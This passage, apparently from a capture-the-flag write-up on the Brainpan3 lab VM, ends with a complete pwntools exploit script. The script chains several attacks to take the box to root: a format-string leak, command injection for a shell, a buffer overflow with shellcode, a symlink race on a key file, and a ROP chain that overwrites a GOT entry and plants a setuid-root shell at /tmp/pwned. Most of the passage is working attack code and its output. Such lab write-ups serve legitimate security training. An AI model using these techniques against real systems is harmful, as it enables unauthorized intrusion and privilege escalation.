def add_offset ( addr ): """Function used to easily add offsets to eax to global rop chain""" # 0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret. add_to_sum = 0x08048feb rop . raw ( pop_ebx ) rop . raw ( addr - 0x1270304 ) # Have to subtract the constant as it is added back by the gadget rop . raw ( add_to_sum ) # Note the binjitsu fun! rop = ROP ( elf ) # Create the simple ROP object from msg_admin tmpfoo = elf . search ( '/tmp/foo' ) . next () atol = elf . got [ 'atol' ] pop_ebx = 0x804859d call_eax = 0x8048786 # Offsets found from manual IDA investigation hex_c6e8 = 0x8048595 hex_2203 = 0x8048dff hex_14 = 0x8048833 hex_1 = 0x8048fb9 . rop . raw ( 0x8048790 ) # eax = 0 # Add offsets to atol to reach system() add_offset ( atol ) # eax = 0 + atol_addr add_offset ( hex_c6e8 ) # eax = eax + 0xc6e8 add_offset ( hex_2203 ) # eax = eax + 0x2203 add_offset ( hex_14 ) # eax = eax + 0x14 add_offset ( hex_1 ) # eax = eax + 0x1 # eax now contains the address of system() # call eax with the parameter of /tmp/foo rop . raw ( call_eax ) rop . raw ( tmpfoo )

As per the previous challenges, we need to execute these via binjitsu.

# Write our /tmp/foo command r . sendline ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) r . sendline ( 'chmod +x /tmp/foo' ) # Overwrite strtok with the pivot gadget sc = str ( rop ) sc += cyclic ( cyclic_find ( 'daac' ) - len ( sc )) sc += p32 ( strtok ) # where to overwrite sc += 'C' * ( 216 - len ( sc )) data = '' data += '{}|{}

' . format ( 's' * 4 , sc ) data += '{}|{}

' . format ( p32 ( pivot ), str ( rop )) pwnmsg_file = '' for b in data : pwnmsg_file += ' \\ x{}' . format ( b . encode ( 'hex' )) r . sendline ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg''' . format ( pwnmsg_file ))

At this point, we think we win. Let’s see…

[+] Shell received: puck [*] '/home/ctf/ctfs/brainpan3/msg_admin' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE [*] Loaded cached gadgets for 'msg_admin' [*] Wait for your r00t shellz [*] Bingo! [*] uid=1001(puck) gid=1004(dev) euid=0(root) groups=0

And with that, we win! Thanks much to @superkojiman for the awesome VM.

Final exploit video

Final exploit

from pwn import * import string import random r = remote ( '192.168.224.154' , 1337 ) # Leak stack # print r.recv() r . clean () ### # Get access code ### r . sendline ( ' % d.' * 3 + 'A' * 80 ) r . recvuntil ( "ACCESS CODE: " ) output = r . recv () code = output . split ( '.' )[ 2 ] log . info ( "Code identified: {}" . format ( code )) r . sendline ( code ) log . info ( "Turning on reporting.." ) ### # Turn on reporting ### r . sendline ( '3' ) shellcode = ' % x.' * 70 r . clean () r . sendline ( shellcode ) r . recvuntil ( "SESSION: " ) # r.recvuntil("SESSION: ") """ ['bfba64ac', '104', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', '78252e78', '2e78252e', '252e7825', 'ff0a2e78', 'b778bc20', 'bfba65fc', '0', 'b778b000', 'b778bac0', 'b778c898', 'b75df940', 'b76510b5', 'b778bac0', '59', '4e', '59', 'b778b8a0', 'b778b000', 'b778bac0', '

'] """ session_name = r . recvuntil ( '

' ) . split ( '.' ) # print session_name n_index = session_name . index ( '4e' ) log . info ( "Report 'N' at offset {}" . format ( n_index )) r . sendline ( '3' ) r . sendline ( 'Y' * ( 4 * ( n_index - 2 ) + 1 ) ) ### # After reporting ### for command in [ 'whoami' , 'id' ]: r . clean () r . sendline ( '1' ) r . sendline ( '$({} >&2)' . format ( command )) r . recvuntil ( "SENDING TO REPORT MODULE" ) output = r . recvuntil ( '[+]' ) . split ( '

' )[ 2 ] log . success ( "{} - {}" . format ( command , output )) r . clean () r . sendline ( '1' ) r . sendline ( '$(/bin/bash -i >&2)' ) log . success ( "Assume the form:" ) log . success ( "anansi" ) sleep ( 1 ) offset = cyclic_find ( 'zaab' ) shellcode = 'A' * cyclic_find ( 'zaab' ) + p32 ( 0x804a080 ) buffer = 116 - len ( shellcode ) binsh_shellcode = asm ( shellcraft . sh ()) # Build argv1 argv1 = '"A" * {} + "{}" + "C" * {}' . format ( offset , r'\x80\xa0\x04\x08' , buffer ) # Build argv2 argv2 = '' . join ( ' \\ x{}' . format ( enhex ( binsh_shellcode )[ x : x + 2 ]) for x in xrange ( 0 , len ( enhex ( binsh_shellcode )), 2 )) # Final command actual_shellcode = """./cryptor $(python -c 'print {}') $(python -c 'print "{}"')""" . format ( argv1 , argv2 ) log . info ( actual_shellcode ) # Sometimes the command didn't work. This will repeat throwing the command until we get a reynard shell. r . sendline ( 'cd /home/reynard/private' ) while True : r . clean () r . sendline ( actual_shellcode ) r . clean () r . sendline ( 'id' ) output = r . recv () if 'reynard' in output : break log . success ( "You are now:" ) log . success ( "reynard" ) sleep ( 1 ) r . sendline ( 'id' ) r . sendline ( """ echo " import os import socket import telnetlib import subprocess HOST = 'localhost' PORT = 7075 try: os.remove('/mnt/usb/key.txt') except: pass # Ensure we have a file to begin with subprocess.check_output(['touch', '/mnt/usb/key.txt']) # Connect and check for symlink r = socket.socket() r.connect((HOST, PORT)) # Quickly remove the non-symlinked file and re-symlink os.remove('/mnt/usb/key.txt') os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt') # Try for our shellz t = telnetlib.Telnet() t.sock = r t.interact() r.close() " > win.py """ ) log . info ( "Let's hope we win the race.. go go go!" ) r . sendline ( "python win.py" ) r . clean () r . sendline ( "whoami" ) output = r . recv () log . success ( "I choose you!:" ) log . success ( output ) log . success ( "Insert ROP pun here..." ) elf = ELF ( 'msg_admin' ) rop = ROP ( elf ) pivot = rop . search ( move = 20 ) . address # Need to move the stack 16 bytes strtok = elf . got [ 'strtok' ] rop = ROP ( elf ) def add_offset ( addr ): # 0x08048feb : add eax, dword ptr [ebx + 0x1270304] ; ret add_to_sum = 0x08048feb rop . raw ( pop_ebx ) rop . raw ( addr - 0x1270304 ) rop . raw ( add_to_sum ) tmpfoo = elf . search ( '/tmp/foo' ) . next () atol = elf . got [ 'atol' ] pop_ebx = 0x804859d call_eax = 0x8048786 hex_c6e8 = 0x8048595 hex_2203 = 0x8048dff hex_14 = 0x8048833 hex_1 = 0x8048fb9 rop . raw ( 0x8048790 ) # eax = 0 add_offset ( atol ) add_offset ( hex_c6e8 ) add_offset ( hex_2203 ) add_offset ( hex_14 ) add_offset ( hex_1 ) rop . raw ( call_eax ) rop . raw ( tmpfoo ) r . sendline ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) r . sendline ( 'chmod +x /tmp/foo' ) log . info ( 'Create our root command file at /tmp/foo' ) log . info ( 'echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo' ) log . info ( 'chmod +x /tmp/foo' ) # Overwrite strtok with the pivot gadget sc = str ( rop ) sc += cyclic ( cyclic_find ( 'daac' ) - len ( sc )) sc += p32 ( strtok ) # where to overwrite sc += 'C' * ( 216 - len ( sc )) data = '' data += '{}|{}

' . format ( 's' * 4 , sc ) data += '{}|{}

' . format ( p32 ( pivot ), str ( rop )) pwnmsg_file = '' for b in data : pwnmsg_file += ' \\ x{}' . format ( b . encode ( 'hex' )) r . sendline ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg''' . format ( pwnmsg_file )) log . info ( 'Create our malicious msg file' ) log . info ( '''python -c "print '{}'" >> /opt/.messenger/pwn.msg''' . format ( pwnmsg_file )) r . sendline ( 'rm /tmp/pwned' ) r . clean () log . info ( "Wait for your r00t shellz" ) for _ in xrange ( 75 ): r . sendline ( 'ls -la /opt/.messenger' ) sleep ( 1 ) output = r . recv () if 'pwn.msg' not in output : break # Get ROOT shell! r . sendline ( '/tmp/pwned' ) r . sendline ( 'id' ) r . sendline ( 'whoami' ) r . sendline ( 'cd /root' ) r . sendline ( 'gzip -d brainpan.8.gz' ) r . sendline ( 'cat brainpan.8' ) for _ in xrange ( 10 ): r . sendline ( '' ) log . info ( "Bingo!" ) log . info ( r . recv ()) r . interactive ()